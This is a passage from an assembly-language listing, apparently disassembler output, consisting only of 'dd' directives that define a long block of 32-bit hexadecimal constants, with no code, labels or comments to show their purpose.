		dd 0B2802E3Dh, 73A1AF7Fh, 63BF008Fh, 0B818CFC1h, 0A701E54Dh
		dd 0D7BC9CB3h, 0A73029D1h, 29809DC5h, 0AAFF31BEh, 0DCBB218h
		dd 14701AE9h, 0C830A4FAh, 0B39BE500h, 0BFE2963h, 0C3360D02h
		dd 0A1E3F00Ch, 0A1EFC6A4h, 2478C130h, 0F22DC5h,	0BE020FC4h
		dd 0BB3B3E9Bh, 0CE5D8CDDh, 0BF6105h, 0EAE5238h,	3FE0C4F8h
		dd 0B894852Ah, 0B9457800h, 0D84CF710h, 5393006Ah, 52E17B87h
		dd 3900B720h, 68ACEBA6h, 60D83F56h, 481E3865h, 2009F94h
		dd 72BD1CD9h, 505329h, 5A9E6335h, 24E891B5h, 3C00D0BEh
		dd 0C564B13Dh, 0C0930E87h
		dd 1040ED09h, 3FDC2CCBh, 0F72DD41Eh, 53868BC0h,	25629Eh
		dd 7EBDF514h, 950E5726h, 4D566300h, 2E55274Eh, 8D2B0FE2h
		dd 94805DA7h, 6E5E05D7h, 0C76AF897h, 90D8DFD9h,	0DBEA316Ch
		dd 0E9F22701h, 20D7EBA2h, 0C2077820h, 626A0E29h, 0DCD2AC80h
		dd 0AC91929Bh, 0AC185E26h, 0EB2CC1h, 0CE66FE4Ch, 95C73336h
		dd 79A27007h, 0EAC0AB37h, 3D21455Ah, 0CAE4A31h,	30823AC2h
		dd 0B7A52B5Ch, 268F2D60h, 224D6200h, 83D817D1h,	764F002Ch
		dd 4AABA11Eh, 2007F87h,	3707F078h, 6337055h, 7D5DBF6Fh
		dd 3600FAE6h, 2F6B452h,	7A9074h, 0AD39C7CBh, 6BA6E7DAh
		dd 1981C500h, 0FD594ECAh, 0D5D1005Eh, 0FB44CB16h, 0DC003A0Dh
		dd 0CD3E2F1Eh, 2E06FD12h, 3A692785h, 4E6EAB00h,	8D012214h
		dd 66DF9B00h, 0A272BC1Eh, 80D8F59Ch, 56480028h,	19FC02DAh
		dd 8A007E49h, 0DF6DCE26h, 37C24FDh, 0D4F1DC68h,	0D6B8A19Bh
		dd 80000DF5h, 787E1808h, 4E7674h, 341C071Fh, 0EBC86E83h
		dd 0B4BF2C00h, 7BC1DC92h, 0A4D63CB8h, 94EF1900h, 398556B7h
		dd 3E3D2B07h, 7263382Ah, 6876F6h, 78ACD08Fh, 0D266F30h
		dd 4100C777h, 0BD32E31h, 0A0AA7569h, 127B9CCh, 52D29248h
		dd 80F708CFh, 8D676B40h, 0AC650Ah, 3E35D05Dh, 301687F0h
		dd 0AE8F5924h, 0A8EB5F01h, 20E8250Dh, 50C46004h, 2CE9CF64h
		dd 0C11CB300h, 5937272Fh, 0B9DC00D9h, 194E3B7Ah, 22007180h
		dd 49826156h, 0C712BCh,	0EB524833h, 759F1810h, 144BD200h
		dd 5164E6FBh, 6B3E016Eh, 0D30DDA8Eh, 0E4A270E3h, 255BC600h
		dd 0D2DBAE28h, 7D42007Ch, 7EBB652h, 5A01DCA6h, 0B9AF98ACh
		dd 85403F22h, 6A7BD53h,	2B2C2FEFh, 0A803203Ch, 2DEE237Fh
		dd 6EB4E1C7h, 4E9EC4h, 0DC847112h, 0E13008A4h, 0E4BD4105h
		dd 0C6AB21DBh, 0F900F022h, 0D3537D27h, 2D9DED2h, 102C5B58h
		dd 44E1DFD4h, 0BB34301Bh, 837D2900h, 26DB64B7h,	0BE19004Ch
		dd 0AFDDE15Dh, 1200FD5Ah, 2B10AE08h, 709C111h, 1F13337Ch
		dd 94F32002h, 0D2009C15h, 0ECE8369Ah, 5B61C8h, 607D3375h
		dd 0C7DAEEC0h, 80812939h, 407B68FAh, 7F483604h,	7EF400DCh
		dd 936E3D03h, 0BF00D542h, 0AE05A0ABh, 732AAC45h, 49B8008Dh
		dd 65EB59FCh, 0E5E8D077h, 3CAD033Fh, 94180E92h,	7C1D00EDh
		dd 1C78C744h, 402133CAh, 49FB10ECh, 46E2633Ch, 0C3F6F91Dh
		dd 74879F00h, 4876E389h, 2D0838C8h, 900EB1Dh, 0E00262AAh
		dd 0EC2A2030h, 41D7F00Fh, 59A24169h, 0A080D11Ah, 0A40C2A0Bh
		dd 78002106h, 0CDE87428h, 6080ECBCh, 8394380Ah,	6EECF8F3h
		dd 93E98400h, 0DA4B5DCDh, 0BA8A24B4h, 3CE00EEh,	0B99A807Ah
		dd 2887A648h, 420EB09Eh, 476DC450h, 0E3100AEBh,	7E8A08CBh
		dd 0BE20D9Dh, 0E828A5FCh, 9800491Ah, 43365348h,	1C0ED012h
		dd 805CE1DEh, 0C94042DCh, 0B4907A51h, 0BFC86D07h, 8745C20Eh
		dd 0A78BFF00h, 0EE84CCh, 6728F253h, 56505FBCh, 0A4E47E07h
		dd 979016B2h, 24F059Fh,	696C53E8h, 0D048C53Bh, 3E0347C9h
		dd 0C6840CB8h, 86700052h, 0ED0D2143h, 9C00AAC3h, 29FDF359h
		dd 3F7C8337h, 0B70053A3h, 0C4731CD6h, 0F3008BE7h, 7A0B02Ah
		dd 3EF57C12h, 4A98E91Fh, 365B9D4h, 959BE200h, 790EDEFFh
		dd 72AE071Bh, 733FE3D0h, 0CA80976Dh, 9B01051Ah,	0F50332E6h
		dd 0D6F08958h, 61B40025h, 623164DEh, 0A3D0EDFh,	5C5087A8h
		dd 3060727Fh, 0F6C4289h, 8C1AAF04h, 958538C0h, 0E0FC11Fh
		dd 0C0BD92FAh, 2C319467h, 759A1396h, 0B3A80041h, 848AD715h
		dd 0F5CB3B0Fh, 0BF2D00FFh, 107A82h, 0ABC9CFB0h,	0C2518F80h
		dd 0BC1FACFAh, 8E4FFEF0h, 1954A030h, 0B8D870DBh, 51DF009Ah
		dd 0B439E6B3h, 3F010388h, 0FE419761h, 6CF513A3h, 9992D8h
		dd 0B4C3C02Dh, 6581AEB7h, 0DC7A3Bh, 714A70F7h, 24C4B955h
		dd 0C058DAB3h, 4C66B46Ch, 0C1075300h, 0FCA0653Ch, 8C810074h
		dd 0B19644FDh, 63327027h, 600F6010h, 32C15087h,	9CB0490Ch
		dd 2E65A9E0h, 0DCDAAB00h, 644D34A8h, 0C25E0083h, 0F4A4040Fh
		dd 0F9008A16h, 59133F7Dh, 518718h, 8C9C661h, 56427EEBh
		dd 0AD40900Bh, 17F5806Ch, 0F07F782Eh, 318B0B0h,	43110567h
		dd 0F09764D7h, 93065629h, 9950FA18h, 0A455D88h,	47CD7E1Fh
		dd 8BAA400Ch, 0DF00A941h, 0E6D215F6h, 52896AEh,	0E2364BFh
		dd 0EA8C00B6h, 973D1F6Ch, 51318200h, 2D3BE128h,	306B5938h
		dd 3A173F00h, 0B07C2CB6h, 19519A0Eh, 0A4CDAA13h, 85864900h
		dd 0C6C128h, 5A963433h,	0CE9E2D54h, 0FA2F20C0h,	12A16AE9h
		dd 37B2006h, 8F308260h,	214EA28Fh, 2FB4C8A0h, 1200ABACh
		dd 4FC87EE1h, 3EEFB59h,	0C5FF1848h, 2800CB3Dh, 0C701ED07h
		dd 9A28B744h, 8A105E8h,	918FD927h, 0EC3D046Ch, 0B914446Eh
		dd 0FE0A24Eh, 0A05CFA5Fh, 505DC285h, 0EE933C0Ah, 7067477h
		dd 0CDA8B596h, 724CA0B0h, 0D00078DDh, 0EB318547h, 1CAD2A88h
		dd 41C058E9h, 696800Bh,	0CAEEECD1h, 16CB5012h, 0E4EFA400h
		dd 0EA77C559h, 91E000F7h, 0FA6D47D4h, 0DE02968Ch, 437EBE9Ah
		dd 0A608C00Ch, 0D7350082h, 0E2C1B90Bh, 0F3005D45h, 52E337ABh
		dd 0EAD6923Eh, 46880B26h, 0A88E0920h, 5171F520h, 850139E8h
		dd 4AD08743h, 53CC848Bh, 44970650h, 0FCC95D0Bh,	0A70E7F7Ah
		dd 40DF07F5h, 2EB694D2h, 0BF38170Dh, 3CC80034h,	26162F2Dh
		dd 0A8C0DA00h, 0FDBCFA48h, 8C0F00B7h, 0D1899FCEh, 1F1CF777h
		dd 415E3BE0h, 4578E500h, 0C1FEB123h, 502D82ACh,	57CD305Ah
		dd 0BC8B483Fh, 4ABE80F4h, 0D8173E6Ch, 0FE543994h, 0D9010273h
		dd 0CC6FD4F5h, 200AA087h, 52883738h, 3C5C001h, 583E40B8h
		dd 0B7E0220h, 0F68B9B4Ah, 12B3238Ah, 775C405Bh,	844822FCh
		dd 0C758C803h, 88D35111h, 50E08Eh, 0C65EB60Fh, 4AC91880h
		dd 36965D07h, 0B580E8FEh, 0F0F1697Eh, 17E900BDh, 0E593F7D0h
		dd 4C122583h, 245CA815h, 98C7038Eh, 5682370h, 0C6BF3FF2h
		dd 1F46C4FDh, 80431FDCh, 41441905h, 18A0893Bh, 0A81E3971h
		dd 0FD401F3Fh, 0EAC6B74Dh, 0EB0A00ACh, 9579DAC9h, 0B6003DECh
		dd 6BD6879Dh, 383418Dh,	257C5EA6h, 85D119C7h, 0D38FE264h
		dd 0A9156DC3h, 0C0E334D7h, 93BBEB5Dh, 23D7742Ch, 97D57600h
		dd 0A01C6B68h, 443CE960h, 6A00EBC9h, 5C49BC84h,	0E9074505h
		dd 0F591EA00h, 0DF786807h, 188C867h, 0FEC71737h, 0A428814Bh
		dd 0DE83C07Eh, 0E8765C80h, 420E753Ch, 1BF1FE00h, 0D97824DDh
		dd 66BD0052h, 0DB746284h, 7907A196h, 0A21A03Eh,	0B2F922A0h
		dd 0B0694805h, 73578500h, 0D865EFA2h, 1E411100h, 0D792DE48h
		dd 1FDB0FB6h, 5900E99Fh, 0DCA4ABE3h, 77ECE0Fh, 65A7C375h
		dd 7293B056h, 0E460024h, 4E3736B9h, 8A036179h, 0CC69A402h
		dd 947E0044h, 7ACB1AE6h, 870613D3h, 0CA64197Eh,	80112310h
		dd 0A0840F03h, 0DC41F40Ah, 0A2E5A286h, 5A569841h, 1DA40D04h
		dd 53D410CEh, 8A99A088h, 21106037h, 67430FBEh, 0D6028E03h
		dd 0F815F893h, 1BA8C44h, 0B128698Bh, 41A3957Bh,	80BC2D2Ch
		dd 29032F61h, 397F840h,	0CAEF8BA0h, 31A94E89h, 0D5D1F065h
		dd 0EA0CB2E8h, 41CBACECh, 1D740064h, 0C6D74DFEh, 873A45A5h
		dd 219D30CAh, 1D7B3Eh, 5CA85234h, 1CBE29C1h, 0D481BB60h
		dd 30689DC7h, 0C131CCA4h, 3D078591h, 55B4A383h,	2FB06360h
		dd 33A029C4h, 0A2190084h, 1883E631h, 3CA7270Ch,	0C0930808h
		dd 321AE721h, 0B0A8A0Ch
		dd 38BAD7C6h, 182BDE03h, 0F0C82304h, 0F21D7800h, 86CA774Dh
		dd 0A6144h, 85D31EA1h, 72805C22h, 77FF5F00h, 0EC0548Eh
		dd 0A4CD5451h, 0DC6F3A6Bh, 405C251Ch, 4C05484Dh, 0B809CD13h
		dd 90630EB9h, 0FB7A2Ch,	37D7758Bh, 0E7DFC668h, 21AC08CCh
		dd 0ADD658DCh, 0A4B83B03h, 1900A763h, 0AD1E255Fh, 13044580h
		dd 2C5DFEDh, 8543BF47h,	0C42BE778h, 0DD0E989Bh,	10834431h
		dd 0FC20BD62h, 773B3215h, 0D6701C9Eh, 1DC0C084h, 0A0524BB7h
		dd 0E2490E18h, 6FDAC5E1h, 538639A4h, 0D9EC19CCh, 7C099E12h
		dd 23B03010h, 1D7509F9h, 0B0232DF4h, 0FF03CF11h, 0B20E1D7Dh
		dd 2DDD73A0h, 71559D31h, 0A4119629h, 0ED3180D5h, 0ECB510A5h
		dd 277307C3h, 30B461A3h, 6E0876E0h, 228CEF48h, 545B1E01h
		dd 905100D4h, 3AE58267h, 3C0A4C01h, 5B526E33h, 2259E890h
		dd 618A02D5h, 0DBBE229Eh, 9382A490h, 2AD3EC3Eh,	0ED467411h
		dd 0F11D7902h, 6031AF4Dh, 1EA20B10h, 166C6101h,	0C64D165h
		dd 0EA7D2FF4h, 0BABC40C9h, 0CD88A176h, 34960637h, 895F630Fh
		dd 60810100h, 0CE0A8792h, 617B0051h, 0F820DDE6h, 24EC79CCh
		dd 0B53C9404h, 0CCC82D59h, 0D94F0E2Bh, 78E0A9BBh, 0D51778Bh
		dd 21C84A30h, 48799h, 3ABF8CBEh, 2861CC43h, 0E889A86Dh
		dd 1D7230D6h, 874DF411h, 4809D88h, 25901E9Bh, 73B70258h
		dd 0EDEC5FDh, 60F8E4AAh, 0BD772313h, 85AE5B03h,	9B5051F1h
		dd 60FAE64Bh, 0E4F31A7h, 0CE0AF5E2h, 84B06BC7h,	0D2906186h
		dd 642D5049h, 0E07A0365h, 1837BA32h, 0EF594102h, 845C8B7Ch
		dd 0EC0876F4h, 0D80DE89Dh, 0CAE0492Ch, 0A17900E3h, 0C805B443h
		dd 8CC9C6Bh, 8721EFh, 221179EBh, 3DB10F4Dh, 38E3BF03h
		dd 1202377Dh, 0FBED771h, 0E20046DDh, 3E3C4F78h,	0B5FF4900h
		dd 7C59A889h, 0E83730ECh, 0B4480E31h, 906361C9h, 2C987100h
		dd 0E2BDF7h, 0B59E9FCFh, 3100D0BAh, 2361FC63h, 7A067C81h
		dd 0C55F3ADBh, 0F1CACC19h, 0BBB842A4h, 11454320h, 0A5A30490h
		dd 0C3A1DFECh, 1C8BF92h, 0B0B00FE8h, 8488521Eh,	411D81Ah
		dd 0E760EC8Ch, 4323DD79h, 0AB443F94h, 0BE79EF00h, 221C572Ch
		dd 55012828h, 46EE01BBh, 0D94CFE45h, 8D08E0A3h,	0D4BE8C0Ah
		dd 4A4480BCh, 4B0EA02Ch, 0CE51E89Eh, 0ECF900FCh, 0D413BFh
		dd 0CDB4F854h, 3825F43Eh, 0B049A560h, 3520B9Fh,	7C37AEACh
		dd 0F00FA4BAh, 2CF32E64h, 71229ABh, 0AD7DCE0Dh,	94F62004h
		dd 2007289h, 4A62376Bh,	0F44469h, 0C8A5FE5Bh, 43490D1Ah
		dd 8274554Ch, 2DE1C76h,	0CC6448C7h, 0DCECBA1Ch,	0A555D580h
		dd 0A003E0C5h, 88F14970h, 8278BF8Ah, 0B4086128h, 41C06375h
		dd 132188D4h, 288AB85Fh, 0EC2CB043h, 55621303h,	510C23A4h
		dd 0A82F09D0h, 1AD4B0A0h, 31AA6430h, 7BD1098h, 0C7E52429h
		dd 14409FBBh, 0A20C62A1h, 1861723Ah, 7C91C22Dh,	15E00269h
		dd 0B832279Fh, 8B299641h, 85FCE428h, 30C91C2Ah,	146BDEF8h
		dd 0ACAE248Eh, 5652CC00h, 7EC50EB5h, 0C7DBCA06h, 52895471h
		dd 283BCC37h, 835DCE1Fh, 22E8D044h, 50CC9AE2h, 1131DC3Eh
		dd 0BF880883h, 3214F980h, 4AFF3A6h, 62FEC278h, 4010CD8Ah
		dd 5E9C28CBh, 105384A1h, 0E111E4Bh, 8B55D3D5h, 933604C1h
		dd 8A703075h, 0A1BB2708h, 0FD5380C6h, 7143F494h, 2956D00h
		dd 5084F63Dh, 7FE00304h, 0AA377915h, 4F1F7107h,	0BCA04791h
		dd 0F84AB8F0h, 90E90015h, 6143CB99h, 0FC00EC7Fh, 880EBA83h
		dd 11DB867Ch, 0D1A482h,	674A079Ch, 0EE64E8h, 511E5F0Bh
		dd 0D7ECDDCBh, 53CA4905h, 0B8CEA819h, 5BC36088h, 0B5DE0025h
		dd 82CF9DEDh, 564847C7h, 0BE1C9E28h, 1020DF53h,	49352D5Ch
		dd 45095060h, 0C003E57Dh, 5900D3A1h, 0C56CD73Fh, 0FE43621Ch
		dd 0AB9600E2h, 0E149A5F4h, 6C98FC29h, 0A1463CB0h, 0E331A301h
		dd 0B26A083h, 321BFA00h, 52AC0E01h, 0FC65C601h,	0F98F1666h
		dd 443297F1h, 823CD723h, 0EC43A279h, 13B81910h,	0DB79E0B0h
		dd 0B2E800CFh, 598F7862h, 771F95C7h, 61CB5C82h,	7CA44826h
		dd 6BE17D40h, 3497C0FFh, 94809891h, 831B3757h, 0E0498413h
		dd 5863A046h, 0B0EB0049h, 80683D7Ch, 0BF00DFD7h, 67FA4459h
		dd 258C1977h, 0CC2126D5h, 201B537Dh, 36437C90h,	0F2321602h
		dd 0A4B1B883h, 0EE31095h, 0A4C32C32h, 426A4088h, 0FE010278h
		dd 913B257Bh, 0E094BE83h, 17832C7Dh, 0C0F2EF32h, 0E6700032h
		dd 1255320Fh, 308B7D48h, 0CC7B56E8h, 230612F0h,	0FE265EF3h
		dd 3EC71A79h, 0B4846160h, 0E374C901h, 73AD28A9h, 1EF2328h
		dd 4DF31D73h, 809C737Fh, 1F1E9C05h, 99C900AFh, 721C4234h
		dd 0F057CA6h, 0D35A2867h, 0EB77A005h, 0CC8E94C5h, 10C1CF88h
		dd 8230D6F3h, 5369263Dh, 51C5041Fh, 0D8E8C1C4h,	0F0591301h
		dd 0C1845EFAh, 63A5B911h, 0B8F99E9Ch, 0F48C1B12h, 728B08F2h
		dd 0A5C4FFD7h, 8B9A0056h, 4C9BCDA2h, 0AE2FD701h, 0B0DDBE39h
		dd 0C42D3843h, 0EC007095h, 2A3EE62Eh, 0FA2503DAh, 0A3478736h
		dd 0D06005D2h, 630A6168h, 501C138Bh, 0C2AD300h,	2C7B51F6h
		dd 64F48262h, 3C548893h, 836A3703h, 0A053DF0Bh,	63E182CEh
		dd 0E319297Bh, 0D588B783h, 200FB368h, 0C992BAA7h, 697C3055h
		dd 0C4823A5Ch, 535B2102h, 8058B948h, 4C9622F0h,	1798465Ch
		dd 0F033E233h, 0CD0BE172h, 88AA37D8h, 7600A350h, 3BFCC5F9h
		dd 0E4B42CD2h, 69A10037h, 0DFA4D3E3h, 0C0992049h, 0A90D94h
		dd 4BF4DC3Fh, 0B98DBF5h, 63E25043h, 4F3DA410h, 0D02F1500h
		dd 51C616C9h, 0D450CD2h, 0F0204A3Ah, 9C7CAC48h,	780A1C80h
		dd 0B12D3699h, 584B014Ch, 605E547Ah, 2B49B6A8h,	0F70E0568h
		dd 8CC0E330h, 2EF0B969h, 0F4C553h, 27854C48h, 0A4F82ACAh
		dd 0B361D060h, 0BFB772h, 0E968B14Fh, 7C95164Dh,	435C451Eh
		dd 87E75440h, 1F97353Ch, 0C06B8ED2h, 7C246349h,	512A0DEFh
		dd 4526A0EBh, 636014AAh, 9B7D2Dh, 74DAE107h, 0ADD4FEA0h
		dd 6030D200h, 0D531524Fh, 11A6F765h, 0DD443EF0h, 0ADC5A038h
		dd 9E0420DBh, 1292F198h, 40202DF9h, 5D8EFE80h, 9D38FB93h
		dd 377D9474h, 0DD3C80F0h, 0C94199h, 0E45030A3h,	2479E30Bh
		dd 753E0700h, 0C0273D72h, 55B000A4h, 0AB2DE8Fh,	5C00AECEh
		dd 9752BBFFh, 60D429h, 6E65D346h, 0C7F7DD18h, 0DAA83D00h
		dd 53284976h, 0B429C029h, 0D14FE3ACh, 627EBF00h, 0E0DE477Ah
		dd 204C605Eh, 8B7C18D3h, 0C54BD201h, 0C4F0492Fh, 438FF0h
		dd 0E84A661Dh, 8B829CC8h, 0CC902437h, 5C088846h, 6406ACFDh
		dd 30859CE9h, 20AE9D00h, 0A073F7D5h, 4A4D005Fh,	8D99A521h
		dd 0D40FDB8Fh, 43E36F8Eh, 0DA71A9h, 0EED77710h,	4D7094B3h
		dd 2518B500h, 0C4E3D256h, 4585002Fh, 619A7A7Bh,	0C000D3D0h
		dd 0A60431D7h, 0E4A9F764h, 0C826606Fh, 0B0F1C697h, 0FC17A4FCh
		dd 0D300FA68h, 0F4CCFD87h, 1C18063Dh, 0F99AAC6Eh, 86729E1Fh
		dd 840C8780h, 73A4621Bh, 0A9A306B7h, 28480693h,	0B0374D77h
		dd 5F8060D3h, 75CFF7h, 214873C0h, 6185B59Dh, 0B8279600h
		dd 0CB145F13h, 3DBB0CB6h, 7B99126Eh, 0E1BCF900h, 0B8A5AB31h
		dd 884963A4h, 0AA06258h, 533A222Eh, 0C65680D6h,	54944BE0h
		dd 4CB01C6Eh, 7A6040F7h, 72AFE281h, 25141003h, 7786AB2Eh
		dd 0C27F00C9h, 62AEB336h, 677703Fh, 8381EC00h, 27808B85h
		dd 0A0E214C9h, 0A218B02Bh, 0CC7F9924h, 0A976B800h, 0F7C3099Ah
		dd 0A2B60A0Dh, 0B00E99h
		dd 0B8E1D127h, 0E407E7A1h, 0F993A061h, 7CD36B40h, 52091D81h
		dd 0C5D57h, 473A35DAh, 48F442C3h, 317C38F8h, 5D261B03h
		dd 0E0335601h, 74791AFCh, 10C66061h, 406B5851h,	0BCC10800h
		dd 0D41FBAF8h, 0C6443D10h, 0BF470D80h, 7D3CFB81h, 57E02D74h
		dd 0D71C2BF0h, 465E316Ah, 7008211Bh, 0BD511F30h, 0E4F5D42h
		dd 0DA006C81h, 0C4B80527h, 0B307261Bh, 4C847C0h, 3089A8AFh
		dd 1100BF2h, 8210BEFBh,	3E58E4EAh, 1B01A238h, 157CBDCFh
		dd 0FA0898A7h, 75A3E021h, 63690FA2h, 11F48DCh, 0F3239A3Bh
		dd 81618362h, 98A46158h, 33E5BC36h, 0BF083DE0h,	0A212100h
		dd 7856BB61h, 5D0F0059h, 1C1E9C96h, 0A0DF9848h,	0E48B6A03h
		dd 7E6078A9h, 0C1B3609Fh, 8DF7544Dh, 78990400h,	3C1F9CEh
		dd 0B9CA0C98h, 4040967Ch, 8A0327F6h, 9D070223h,	6008BE21h
		dd 315B61A6h, 0D003F428h, 3F1C92B5h, 80CFB3FDh,	0C09C9EDDh
		dd 0A91B2FA9h, 822AC09Bh, 780080EBh, 1CE19245h,	0A4BE7Ah
		dd 0B02EB509h, 0E5D4F518h, 405CA100h, 0C75F7743h, 3EA2A68h
		dd 89464470h, 4851F160h, 79ECB4E5h, 1A37002Fh, 0D6AD729Ch
		dd 6A7B635Ah, 60E52918h, 0C7A5B891h, 0BB0541h, 0B5F03B5h
		dd 4B2D0D07h, 220FC68Ah, 833BB070h, 2932B89Ch, 79900231h
		dd 7671893h, 0A9FB3A39h, 0C6BF407Bh, 0B9C0DD1Bh, 76B078BEh
		dd 25D4F1DEh, 0C8F8510Dh, 8BA06185h, 66D840E7h,	0E018061Ch
		dd 58A3CF07h, 8DC19F53h, 9040C64Fh, 0F04D1C9Dh,	2CF00DDh
		dd 0A0D67FB8h, 81600F6Dh, 0EEE47920h, 0CFDC3EE3h, 212D712h
		dd 74739838h, 0EEE21048h, 80E38C30h, 10D45595h,	1FB1808h
		dd 26D6FC01h, 20BB1911h, 608CFA92h, 0EA2B078h, 117F1B23h
		dd 0B62A00F9h, 1F945BA2h, 9E9F0A1Ch, 74A8CFD1h,	3A009246h
		dd 99887D0Fh, 6A90808Ch, 0D8F2AF37h, 7C6B6900h,	5AD0C142h
		dd 1F7ED27h, 0DC2282F5h, 2915D806h, 630018ACh, 0F848BDB8h
		dd 62734491h, 9E8848E8h, 2596C0A0h, 0C9011468h,	3FA58A65h
		dd 0A840BFDEh, 182340ADh, 10D1635Dh, 0A186172h,	1969E580h
		dd 0F3BD098Bh, 5C048D91h, 0ED60937Ch, 3A72139h,	534565BDh
		dd 0E8529B35h, 480C3ED9h, 29810059h, 8DCC7355h,	0C1658E60h
		dd 6C3ADC02h, 61550214h, 0BBFE58ABh, 5C10C519h,	0B7006167h
		dd 0A6BB1C4Ch, 18F2BD0Fh, 6977B8FFh, 933F3F2Ah,	4CE700B4h
		dd 5BC0C62h, 0A0222AC6h, 761E0A84h, 1AC5134h, 0FB43BF2Fh
		dd 2002693h, 1B53A2AFh,	10F831B7h, 6A2C8D9h, 62650705h
		dd 2530613Ch, 7BE821F2h, 58B1C2CFh, 0DCA1411Fh,	10CDFF66h
		dd 3F0ECCE5h, 1400BAEEh, 36D2DE27h, 0D103B35Eh,	93113BC4h
		dd 0A91F0A1h, 0D8F23026h, 44D7FD39h, 14633900h,	9FCA5A86h
		dd 4CC97E03h, 7007E0FAh, 400C2610h, 89A13052h, 8B505474h
		dd 28C2CB4h, 58AD6153h,	0CB19BC0Eh, 616D2210h, 0BD62A20Fh
		dd 0A905C212h, 0ED6C99DDh, 80CE04CAh, 8E1AF26Fh, 0C0A27424h
		dd 9A7BDE41h, 74210021h, 9C1295F5h, 0D6C7C4A0h,	990076CEh
		dd 45D49BADh, 60FDC68Bh, 0C4F321B8h, 41754CEBh,	58048F9h
		dd 3263D300h, 0FFF17CE1h, 77B67436h, 1D9F0C6h, 16F80A40h
		dd 50E389EAh, 45B4ECC8h, 0D1323000h, 9B1ADC7Dh,	4C294CC6h
		dd 51DA2B80h, 0C9499804h, 283080E0h, 8C2A2389h,	0FF60A744h
		dd 3B5CD3C4h, 2D8A7BBEh, 988FB31h, 8C20F57Dh, 3524CABDh
		dd 2AD06900h, 278D477Fh, 0AABC00CBh, 39043714h,	0A8007275h
		dd 8C5744BDh, 0F86C91h,	86B940DAh, 0DD71C6C7h, 78BC6752h
		dd 315C1E50h, 8391A30Ch, 0D4E9E5h, 5524F76Ch, 8D41D238h
		dd 8364F202h, 0D678F4D1h, 82A93D26h, 40BA1F8Ch,	742C161Dh
		dd 50388E85h, 67A5848Bh, 0D4808257h, 26CDD8DBh,	0A43CE52Ch
		dd 0E0013ECCh, 6749CFDFh, 2809CB73h, 8202114Dh,	27A85858h
		dd 491EB41Fh, 0C01880E7h, 1B41D9h, 0FB522AA6h, 76E4B1DBh
		dd 24A00A4Ch, 1C0B5C01h, 5348A0A2h, 60E10BF3h, 7278119Ah
		dd 2913C9BCh, 54426F65h, 7822A9A4h, 1DE0F741h, 3E38994Eh
		dd 0CBC76788h, 0AF4C9303h, 58680ABEh, 0A8D01B7Bh, 1A390018h
		dd 8F29D522h, 1C008EB5h, 2A5ABC89h, 30549250h, 1B38B3C7h
		dd 0B824F09Dh, 0DD8000ADh, 362833C2h, 1F52F4D5h, 406C4B40h
		dd 34EF5BB3h, 4606A185h, 128127ECh, 77B10071h, 17DD438Fh
		dd 94029009h, 71F1B97h,	0D1F0A0BDh, 0C223159Fh,	83514D31h
		dd 1B000CE4h, 975C2AA4h, 1C442E09h, 0DCF2715Dh,	4010E428h
		dd 9D345A23h, 680CDE13h, 0C00BE408h, 91FEBD8Ah,	0E4228546h
		dd 0BD92BA00h, 40B58B2Eh, 0B8221836h, 7014F19Eh, 42861800h
		dd 7A623F60h, 542F0621h, 41E67B0Eh, 8D5A0501h, 24E8AEB4h
		dd 91799C20h, 1D097C4h,	30BCAF77h, 1778C46Fh, 6D23410Bh
		dd 91FC2007h, 0B0E77F1Ch, 0D801645Ch, 0AD7747D2h, 149D000Fh
		dd 2E4B3ACh, 0E2E3401Fh, 0A78783B1h, 9D923080h,	1812BB9Ch
		dd 4407A548h, 19B4FD78h, 7F637101h, 58A07062h, 1028EF2Eh
		dd 844C9789h, 0E602D90h, 5823AE61h, 0CA1106h, 5F61688Fh
		dd 1DA2195Dh, 0D331A78Ah, 23B43A76h, 0EF0601C9h, 62208FC1h
		dd 0E2244258h, 0E36F30CAh, 2E0FD076h, 82DC51A5h, 40B90754h
		dd 49552560h, 0A0408827h, 18986056h, 0D965E2C5h, 640949D3h
		dd 0D8C0939Ch, 54BBF5E0h, 3E09F005h, 0FCA5F7C6h, 639214A4h
		dd 1B5488A2h, 0C2618CAFh, 0A2B7DC51h, 3EF6E4DCh, 93095B4Ch
		dd 60303A92h, 0E201FE4Dh, 20B382D0h, 0AC70BDE7h, 0FF048CB8h
		dd 52238427h, 3D209862h, 1E142837h, 2E3A7287h, 781304A4h
		dd 0C758034Bh, 9F49FC30h, 617F4CA1h, 16942666h,	0BF09BD37h
		dd 0F394312Dh, 0BD7FA310h, 0F9973B04h, 6CA46A50h, 0FA513F44h
		dd 1611F830h, 0D00824Ch, 8D3A8EECh, 0ED0AB5h, 0CB3FEE9h
		dd 84346D40h, 5B096A13h, 690E7420h, 1564B04Fh, 8C9D66DDh
		dd 98254102h, 984051C7h, 9F81D34Fh, 7776C833h, 1E79C418h
		dd 89DCA41Dh, 18805C94h, 703B23F3h, 7BA78C6h, 364DC3DDh
		dd 7B76D048h, 0C7EAE6FAh, 10C4F548h, 2905F157h,	936FFB6Dh
		dd 0E6F1D608h, 12402D93h, 0F4117CA8h, 1B723D4h,	238B282Eh
		dd 0B0282C3Ah, 28265Ah,	1CB2DAFCh, 0D1214412h, 2825703Ah
		dd 834CD0E1h, 8CF6E860h, 0C14E4901h, 0DC9E1B10h, 0B818482Ch
		dd 0FF9179A3h, 0E1D43805h, 1D8060CAh, 24AB6755h, 36C93A1h
		dd 0CE0E169Fh, 1C125078h, 0A0231273h, 90A4BC2Fh, 88058C11h
		dd 959230BDh, 0BC4C28h,	0EB2ABD90h, 8E1B3457h, 489EE024h
		dd 5FA2F401h, 5881CDBBh, 0BC96257Bh, 0C1E302F9h, 0C245068h
		dd 7950B902h, 0EE861892h, 0C5CD3B6Bh, 418C6C80h, 7317A8E1h
		dd 117E7C18h, 0CF03A1h,	83022696h, 8A361E6Ch, 7E17FB4Ch
		dd 0DB120A7Ch, 34865140h, 7AF4A08h, 59700C2Ch, 1A3E7C48h
		dd 8B0EC00h, 1F25CC88h,	13044A5Bh, 80089B40h, 3609DABh
		dd 9B3C2678h, 911584E8h, 80630BE1h, 6E1B489Ch, 204E6F90h
		dd 879830D6h, 0C003E7BCh, 47B023DCh, 0E2AECB34h, 462C6421h
		dd 27ED02B6h, 47222336h, 25370058h, 0A25FFB28h,	0C0632E00h
		dd 514143CBh, 0A4E3545Dh, 4A21038Eh, 1F40CAB9h,	7099B6E1h
		dd 0CE60F34Ch, 0AC5514D9h, 52DD0587h, 0C8470C38h, 6A17A158h
		dd 0A8257B1Fh, 98C848CBh, 1477ABC0h, 19BC90E5h,	5078FB5Dh
		dd 0BC4820F9h, 244C943Eh, 1006680Fh, 0B9097Bh, 32705DBFh
		dd 88371511h, 90D2B300h
